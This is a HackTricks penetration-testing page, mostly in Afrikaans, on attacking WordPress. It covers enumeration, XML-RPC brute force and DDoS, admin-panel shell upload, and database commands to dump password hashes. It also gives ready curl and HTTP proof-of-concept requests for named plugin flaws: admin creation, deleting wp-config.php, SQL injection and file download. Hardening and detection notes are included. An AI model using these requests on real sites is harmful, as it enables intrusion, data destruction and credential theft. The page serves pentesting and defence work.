Wordpress
Reading time: 28 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
In wp-config.php you can find the root password of the database.
-
Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.php
license.txt
contains useful information such as the version WordPress installed.wp-activate.php
is used for the email activation process when setting up a new WordPress site.- Login folders (may be renamed to hide it):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress REST API.- The
wp-content
folder is the main directory where plugins and themes are stored. wp-content/uploads/
Is the directory where any files uploaded to the platform are stored.wp-includes/
This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.wp-sitemap.xml
In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
Post exploitation
- The
wp-config.php
file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.
Users Permissions
- Administrator
- Editor: Publish and manages his and others posts
- Author: Publish and manage his own posts
- Contributor: Write and manage his posts but cannot publish them
- Subscriber: Browser posts and edit their profile
Passive Enumeration
Get WordPress version
Check if you can find the files /license.txt
or /readme.html
Inside the source code of the page (example from https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS link-lĂȘers
- JavaScript-lĂȘers
Kry Inproppe
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Kry temas
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Haal weergawes oor die algemeen uit
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktiewe enumerasie
Plugins and Themes
Jy sal waarskynlik nie al die Plugins and Themes kan vind nie. Om almal te ontdek, sal jy moet actively Brute Force a list of Plugins and Themes (hopelik is daar vir ons geoutomatiseerde gereedskap wat hierdie lyste bevat).
Gebruikers
- ID Brute: Jy kry geldige gebruikers van 'n WordPress-site deur gebruikers-ID's te Brute Forcing:
curl -s -I -X GET http://blog.example.com/?author=1
As die antwoorde 200 of 30X is, beteken dit dat die id geldig is. As die antwoord 400 is, is die id ongeldig.
- wp-json: Jy kan ook probeer om inligting oor gebruikers te kry deur navrae te stuur:
curl http://blog.example.com/wp-json/wp/v2/users
Nog 'n /wp-json/
eindpunt wat sekere inligting oor gebruikers kan openbaar, is:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Let daarop dat hierdie endpoint slegs gebruikers openbaar wat 'n pos geplaas het. Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word.
Neem ook kennis dat /wp-json/wp/v2/pages IP addresses kan leak.
- Login username enumeration: Wanneer jy aanmeld by
/wp-login.php
is die boodskap verskillend, wat aandui of die username bestaan of nie.
XML-RPC
As xml-rpc.php
aktief is kan jy credentials brute-force uitvoer of dit gebruik om DoS attacks teen ander hulpbronne te loods. (Jy kan hierdie proses byvoorbeeld outomatiseer using this).
Om te sien of dit aktief is, probeer toegang tot /xmlrpc.php kry en stuur hierdie versoek:
Kontroleer
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
of metaWeblog.getUsersBlogs
is 'n paar van die metodes wat gebruik kan word om credentials te brute-force. As jy enige van hulle vind, kan jy iets soos stuur:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die boodskap "Verkeerde gebruikersnaam of wagwoord" binne 'n 200-kode response moet verskyn as die credentials nie geldig is nie.
Met die korrekte credentials kan jy 'n lĂȘer upload. In die response sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Daar is ook 'n vinnig(er) manier om brute-force credentials te probeer deur system.multicall
te gebruik aangesien jy verskeie credentials in dieselfde versoek kan probeer:
.png)
Bypass 2FA
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang is beskerm deur 2FA, mag jy in staat wees om xmlrpc.php te misbruik om met daardie creds in te teken en 2FA te omseil. Let daarop dat jy nie al die aksies kan uitvoer wat deur die console moontlik is nie, maar jy mag steeds na RCE kan kom soos Ippsec dit verduidelik in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress lo scan some internal network (you can indicate any port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
As jy faultCode kry met 'n waarde groter as 0 (17), beteken dit die poort is oop.
Kyk na die gebruik van system.multicall
in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Hierdie lĂȘer bestaan gewoonlik in die root van die Wordpress-site: /wp-cron.php
Wanneer hierdie lĂȘer toeganklik is, word 'n "sware" MySQL query uitgevoer, so dit kan deur aanvallers gebruik word om 'n DoS te veroorsaak.
Ook, standaard word wp-cron.php
op elke bladlaai aangeroep (elke keer wanneer 'n kliënt 'n Wordpress-blad versoek), wat op hoë-verkeer werwe probleme (DoS) kan veroorsaak.
Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die host te skep wat die nodige aksies op gereelde intervalle uitvoer (sonder om probleme te veroorsaak).
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Hierdie tool checks if the methodName: pingback.ping and for the path /wp-json/oembed/1.0/proxy and if exists, it tries to exploit them.
Outomatiese Gereedskap
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Kry toegang deur 'n bit oor te skryf
Meer as 'n echte attack is dit 'n nuuskierigheid. In die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bit van enige wordpress-lĂȘer flip. So kon jy die posisie 5389
van die lĂȘer /var/www/html/wp-includes/user.php
flip om die NOT (!
) operasie te NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Paneel RCE
Wysig 'n php van die tema wat gebruik word (admin credentials benodig)
Appearance â Theme Editor â 404 Template (aan die regterkant)
Verander die inhoud na 'n php shell:
Soek op die internet hoe jy daardie bygewerkte blad kan bereik. In hierdie geval moet jy hier toegang kry: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Jy kan gebruik:
use exploit/unix/webapp/wp_admin_shell_upload
om 'n sessie te kry.
Plugin RCE
PHP plugin
Dit kan moontlik wees om .php-lĂȘers as 'n plugin op te laai.
Skep jou php backdoor, byvoorbeeld:
Voeg dan 'n nuwe plugin by:
Laai die plugin op en druk Install Now:
Klik op Procced:
Dit sal waarskynlik niks doen nie, maar as jy na Media gaan, sal jy jou shell sien wat opgelaai is:
Gaan daarheen en jy sal die URL sien om die reverse shell uit te voer:
Oplaai en aktiveer kwaadwillige plugin
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress dashboard uitgevoer soos volg:
- Plugin Acquisition: Die plugin word verkry vanaf 'n bron soos Exploit DB, byvoorbeeld here.
- Plugin Installation:
- Gaan na die WordPress dashboard, dan na
Dashboard > Plugins > Upload Plugin
. - Laai die zip-lĂȘer van die afgelaaide plugin op.
- Plugin Activation: Sodra die plugin suksesvol geĂŻnstalleer is, moet dit deur die dashboard geaktiveer word.
- Exploitation:
- Met die plugin "reflex-gallery" geĂŻnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
- Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laad en spesifieke opdragte uit te voer, kan 'n meterpreter session gevestig word wat ongemagtigde toegang tot die site gee.
- Daar word opgemerk dat dit net een van die vele metodes is om 'n WordPress site uit te buit.
Die inhoud sluit visuele hulpmiddels in wat die stappe op die WordPress dashboard uitbeeld om die plugin te installeer en te aktiveer. Dit is egter belangrik om op te let dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike toestemming. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetration testing met uitdruklike toestemming.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
Van XSS na RCE
- WPXStrike: WPXStrike is 'n script ontwerp om 'n Cross-Site Scripting (XSS) kwesbaarheid op te skaal na Remote Code Execution (RCE) of ander kritieke kwesbaarhede in WordPress. Vir meer info sien this post. Dit bied ondersteuning vir Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Skep 'n gebruiker in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Upload jou custom plugin (backdoor) na WordPress.
- (RCE) Built-In Plugin Edit: Edit Built-In Plugins in WordPress.
- (RCE) Built-In Theme Edit: Edit Built-In Themes in WordPress.
- (Custom) Custom Exploits: Custom Exploits vir Third-Party WordPress Plugins/Themes.
Post Exploitation
Haal gebruikersname en wagwoorde uit:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Verander admin-wagwoord:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Aanvalsoppervlak
Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel, is noodsaaklik om kwesbaarhede daarin te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in this blog post.
wp_ajax
Een van die maniere waarop 'n plugin funksies aan gebruikers blootstel is deur middel van AJAX handlers. Hierdie kan logic-, authorization- of authentication-bugs bevat. Boonop gebeur dit dikwels dat hierdie funksies beide authentication en authorization baseer op die bestaan van 'n Wordpress nonce wat enige gebruiker wat authenticated is in die Wordpress instance moontlik het (onafhanklik van hul rol).
Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Die gebruik van nopriv
maak die endpoint toeganklik vir enige gebruikers (selfs ongeauthentiseerde gebruikers).
caution
Boonop, as die funksie net die toestemming van die gebruiker nagaan met die funksie wp_verify_nonce
, kontroleer hierdie funksie slegs of die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus mag gebruikers met lae voorregte toegang hĂȘ tot hoĂ«-voorregte aksies.
- REST API
Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n REST API te registreer met die funksie register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Die permission_callback
is 'n callback-funksie wat nagaan of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.
If the built-in __return_true
function is used, it'll simply skip user permissions check.
- Direkte toegang tot die php-lĂȘer
Natuurlik gebruik Wordpress PHP en lĂȘers binne plugins is direk vanaf die web toeganklik. Dus, as 'n plugin enige kwesbare funksionaliteit blootstel wat slegs deur toegang tot die lĂȘer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word.
Trusted-header REST impersonation (WooCommerce Payments †5.6.1)
Sommige plugins implementeer âtrusted headerâ kortpaaie vir interne integrasies of reverse proxies en gebruik dan daardie header om die huidige gebruiker-konteks vir REST-versoeke te stel. As die header nie deur 'n upstream-komponent kriptografies aan die versoek gebind is nie, kan 'n aanvaller dit naboots en gemagtigde REST-roetes as 'n administrateur bereik.
- Impact: ongeauthentiseerde privilege escalation to admin by creating a new administrator via the core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(forces user ID 1, typically the first administrator account). - Exploited route:
POST /wp-json/wp/v2/users
with an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Waarom dit werk
- Die plugin koppel 'n kliënt-beheerde header aan die outentiseringsstatus en slaan capability-kontroles oor.
- WordPress core verwag die
create_users
capability vir hierdie roete; die plugin hack omseil dit deur die huidige gebruiker-konteks direk vanaf die header te stel.
Verwagte suksesaanwysers
- HTTP 201 met 'n JSON-body wat die geskepte gebruiker beskryf.
- 'n nuwe admin gebruiker sigbaar in
wp-admin/users.php
.
Opsporingskontrolelys
- Grep vir
getallheaders()
,$_SERVER['HTTP_...']
, of vendor SDKs wat pasgemaakte headers lees om die gebruiker-konteks te stel (bv.wp_set_current_user()
,wp_set_auth_cookie()
). - Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste
permission_callback
-kontroles het nie en eerder op request headers staatmaak. - Soek gebruike van kern user-management funksies (
wp_insert_user
,wp_create_user
) binne REST handlers wat slegs op headerwaardes staatmaak.
Verharding
- Moet nooit outentisering of autorisasie aflei uit kliënt-beheerde headers nie.
- As 'n reverse proxy identiteit moet injekteer, beëindig vertroue by die proxy en verwyder inkomende kopieë (bv.
unset X-Wcpay-Platform-Checkout-User
by die edge), en stuur dan 'n ondertekende token wat server-side geverifieer word. - Vir REST-roetes wat bevoorregte aksies uitvoer, vereis
current_user_can()
-kontroles en 'n strengpermission_callback
(MOENIE__return_true
gebruik nie). - Gee voorkeur aan eerste-party auth (cookies, application passwords, OAuth) bo header âimpersonationâ.
Verwysings: sien die skakels aan die einde van hierdie bladsy vir 'n openbare geval en breër analise.
Nie-geauthentiseerde Willekeurige LĂȘeruitwissing via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress temas en plugins openbaar dikwels AJAX-handlers deur die wp_ajax_
en wp_ajax_nopriv_
hooks. Wanneer die nopriv variant gebruik word word die callback bereikbaar deur nie-geauthentiseerde besoekers, daarom moet enige sensitiewe aksie bykomend die volgende implementeer:
- 'n capability check (bv.
current_user_can()
of ten minsteis_user_logged_in()
), en - 'n CSRF nonce gevalideer met
check_ajax_referer()
/wp_verify_nonce()
, en - Streng invoersanitisering / validasie.
Die Litho multipurpose theme (< 3.1) het daardie 3 kontroles in die Remove Font Family funksie vergeet en het uiteindelik die volgende kode in die uitgawe ingesluit (vereenvoudig):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Probleme wat deur hierdie snippet geĂŻntroduseer word:
- Ongeauthentiseerde toegang â the
wp_ajax_nopriv_
hook is registered. - Geen nonce / capability check â enige besoeker kan die endpoint aanroep.
- Geen pad-sanitisering â die deur die gebruiker beheerde
fontfamily
string word sonder filtrering aan 'n lĂȘerstelselpad gekonkateneer, wat klassieke../../
traversal toelaat.
Uitbuiting
'n aanvaller kan enige lĂȘer of gids onder die uploads base directory (gewoonlik <wp-root>/wp-content/uploads/
) verwyder deur 'n enkele HTTP POST-versoek te stuur:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Omdat wp-config.php
buite uploads leef, is vier ../
-reekse genoeg op 'n standaardinstallasie. Deletie van wp-config.php
dwing WordPress in die installasiewizard by die volgende besoek, wat 'n volledige webwerf-oorneem moontlik maak (die aanvaller voorsien net 'n nuwe DB-konfigurasie en skep 'n admingebruiker).
Ander impakvolle teikens sluit in plugin/theme .php
-lĂȘers (om security-plugins te breek) of .htaccess
-reëls.
Opsporingskontrolelys
- Enige
add_action( 'wp_ajax_nopriv_...')
callback wat filesystem helpers aanroep (copy()
,unlink()
,$wp_filesystem->delete()
, ens.). - Konkatenering van ongefilterde gebruikersinvoer in paaie (kyk vir
$_POST
,$_GET
,$_REQUEST
). - Afwesigheid van
check_ajax_referer()
encurrent_user_can()
/is_user_logged_in()
.
Verharding
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// ⊠proceed âŠ
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// đ NO wp_ajax_nopriv_ registration
tip
Altyd behandel enige skryf/verwyder-operasie op die skyf as privileged en dubbelkontroleer:
âą Authentication âą Authorisation âą Nonce âą Input sanitisation âą Path containment (e.g. via realpath()
plus str_starts_with()
).
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Baie plugins implementeer a "view as role" of temporary role-switching funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op request parameters (bv. $_REQUEST['reset-for']
) en 'n plugin-onderhoude lys staatmaak sonder om capabilities en 'n geldige nonce te kontroleer, lei dit tot 'n vertical privilege escalation.
'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (†7.6.2.1). Die reset-branch het rolle herstel gebaseer op reset-for=<username>
as die gebruikersnaam in 'n interne array $options['viewing_admin_as_role_are']
verskyn het, maar het geen current_user_can()
-kontrole uitgevoer nie en ook nie 'n nonce-verifikasie nie voordat dit huidige rolle verwyder en die gestoor rolle uit user meta _asenha_view_admin_as_original_roles
weer bygevoeg het:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Waarom dit uitbuitbaar is
- Vertrou op
$_REQUEST['reset-for']
en 'n plugin-opsie sonder server-side magtiging. - As 'n gebruiker voorheen hoër voorregte in
_asenha_view_admin_as_original_roles
gestoor gehad het en afgegradeer is, kan hulle dit herstel deur die reset-pad te tref. - In sommige implementasies kon enige geauthentiseerde gebruiker 'n reset vir 'n ander gebruikersnaam wat nog in
viewing_admin_as_role_are
teenwoordig is, aktiveer (gebreekte magtiging).
Aanvalsvereistes
- Kwetsbare plugin-weergawe met die funksie aangeskakel.
- Teikenrekening het 'n verouderde hoë-privilege rol gestoor in user meta vanaf vroeër gebruik.
- Enige geauthentiseerde sessie; ontbrekende nonce/capability in die reset-stroom.
Eksploitasie (voorbeeld)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Op kwesbare weergawes verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle weer by (bv. administrator
), wat effektief bevoegdhede eskaleer.
Detection checklist
- Kyk vir rol-wisselende funksies wat âoorspronklike rolleâ in gebruikersmeta bewaar (bv.
_asenha_view_admin_as_original_roles
). - Identifiseer reset/restore-paaie wat:
- Lees gebruikersname vanaf
$_REQUEST
/$_GET
/$_POST
. - Wysig rolle via
add_role()
/remove_role()
sondercurrent_user_can()
enwp_verify_nonce()
/check_admin_referer()
. - Verleen magtiging gebaseer op 'n plugin-opsie-array (bv.
viewing_admin_as_role_are
) in plaas van die akteur se bevoegdhede.
Hardening
- Verplig bevoegdheidskontroles op elke staat-wysigende tak (bv.
current_user_can('manage_options')
of strenger). - Vereis nonces vir alle rol-/permissieveranderings en verifieer hulle:
check_admin_referer()
/wp_verify_nonce()
. - Moet nooit versoek-verskafde gebruikersname vertrou nie; bepaal die teikengebruiker aan die bedienerkant gebaseer op die geverifieerde akteur en 'n eksplisiete beleid.
- Maak die toestand van âoorspronklike rolleâ ongeldig tydens profiel-/rol-opdaterings om verouderde hoĂ«-bevoegdheidsherstel te voorkom:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Oorweeg om slegs minimale staat te stoor en time-limited, capability-guarded tokens te gebruik vir tydelike role switches.
Unauthenticated privilege escalation via cookieâtrusted user switching on public init (Service Finder âsf-bookingâ)
Sommige plugins koppel user-switching helpers aan die publieke init
hook en bepaal identiteit uit 'n client-controlled cookie. As die kode wp_set_auth_cookie()
aanroep sonder om authentication, capability en 'n geldige nonce te verifieer, kan enige unauthenticated besoeker dwing om as 'n willekeurige user ID aan te meld.
Tipiese kwesbare patroon (vereenvoudig uit Service Finder Bookings †6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // đ„ sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Waarom dit uitgebuit kan word
- Publieke
init
hook maak die handler bereikbaar vir nie-geauthentiseerde gebruikers (geenis_user_logged_in()
beskerming nie). - Identiteit word afgelei uit 'n deur die kliënt veranderbare cookie (
original_user_id
). - Direkte oproep na
wp_set_auth_cookie($uid)
teken die versoeker in as daardie gebruiker sonder enige capability/nonce checks.
Uitbuiting (nie-geauthentiseerd)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF-oorwegings vir WordPress/plugin CVEs
Generiese edge/server WAFs is afgestem op breĂ« patrone (SQLi, XSS, LFI). Baie hoogâimpak WordPress/plugin foute is toepassingsspesifieke logika/auth-bugs wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan.
Aanvalsnotas
- Teiken plugin-spesifieke endpoints met skoon payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Gebruik eers unauth-paaie (AJAX
nopriv
, REST met permissiewepermission_callback
, openbare shortcodes). Standaard payloads slaag dikwels sonder obfuskering. - Tipiese hoog-impak gevalle: privilege escalation (gebreekte toegangskontrole), arbitrĂȘre lĂȘer oplaai/aflaai, LFI, open redirect.
Verdedigingsnotas
- Moet nie staatmaak op generiese WAF-handtekeninge om plugin CVEs te beskerm nie. Implementeer toepassingslaag, kwesbaarheid-spesifieke virtuele pleisters of werk vinnig op.
- Verkies positiewe sekuriteitskontroles in kode (capabilities, nonces, streng invoervalidatie) bo negatiewe regex-filters.
WordPress-beskerming
Gereelde opdaterings
Maak seker WordPress, plugins, en themes is op datum. Bevestig ook dat geoutomatiseerde opdatering in wp-config.php aangeskakel is:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Installeer ook slegs betroubare WordPress-plugins en -themes.
Sekuriteits-plugins
Ander Aanbevelings
- Verwyder die standaard admin gebruiker
- Gebruik sterk wagwoorde en 2FA
- Hersien gereeld gebruikers se toestemmings
- Beperk aanmeldpogings om Brute Force attacks te voorkom
- Hernoem die
wp-admin.php
lĂȘer en laat toegang slegs intern of vanaf sekere IP-adresse toe.
Nie-geauthentiseerde SQL Injection via onvoldoende validasie (WP Job Portal <= 2.3.2)
Die WP Job Portal recruitment plugin het 'n savecategory taak blootgestel wat uiteindelik die volgende kwesbare kode binne modules/category/model.php::validateFormData()
uitvoer:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat â
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Issues introduced by this snippet:
- Ongesanitiseerde gebruikersinvoer â
parentid
kom direk van die HTTP-versoek af. - String-konkatenasie binne die WHERE-clausule â geen
is_numeric()
/esc_sql()
/ prepared statement. - Nie-geauthentiseerde bereikbaarheid â alhoewel die aksie uitgevoer word via
admin-post.php
, is die enigste kontrole in plek 'n CSRF nonce (wp_verify_nonce()
), wat enige besoeker kan bekom vanaf 'n publieke bladsy wat die shortcode[wpjobportal_my_resumes]
ingebed het.
Eksploitasie
- Kry 'n vars nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Injiseer arbitrĂȘre SQL deur
parentid
te misbruik:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Die reaksie openbaar die resultaat van die ingespuite query of verander die databasis, wat SQLi bewys.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Nog 'n taak, downloadcustomfile, het besoekers toegelaat om enige lĂȘer op skyf af te laai via path traversal. Die kwesbare sink is geleĂ« in modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
is deur die aanvaller beheer en saamgevoeg without sanitisation. Weer, die enigste hindernis is 'n CSRF nonce wat van die CV-bladsy afgehaal kan word.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
